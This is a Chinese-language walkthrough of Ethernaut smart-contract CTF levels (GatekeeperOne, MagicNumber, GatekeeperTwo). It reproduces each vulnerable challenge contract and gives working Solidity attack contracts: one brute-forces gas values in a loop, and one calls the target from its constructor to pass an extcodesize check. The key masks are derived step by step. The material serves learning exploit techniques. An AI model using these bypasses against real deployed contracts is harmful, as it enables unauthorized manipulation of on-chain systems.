pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個check直接用合約交互即可。

第三個check實際上是個截斷問題,也就是說0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點在于第二個check,需要設(shè)定執(zhí)行到gatetwo時的gasleft % 8191 == 0。

達到這個有兩個方式,第一種方式是把原本題目合約扒下來,放到debug測試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費的gas并不相同,按照medium網(wǎng)站上說的方式到etherscan上查了下合約信息,由于沒有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們在debug環(huán)境下算出了符合條件的gas,仍然不能保證會成功。

第二種方式就比較暴力,直接寫一個for循環(huán),每次的gas都從一個值遞增1,這樣一定會遇到一個符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長度不超過10的bytecode編寫出一個合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個鏈接,說的也比較詳細:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點是合約代碼的長度是不會算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過三個檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個check就是部署個合約即可。

第三個利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個check比較有意思,是利用了assembler,不過含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長度,需要使得其長度為0。

這里在之前的magicnumber提到過,合約代碼長度不會算進去構(gòu)造函數(shù)的長度,所以將攻擊函數(shù)直接寫進構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識:

原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請注明出處:http://www.cddhlm.com/120816.html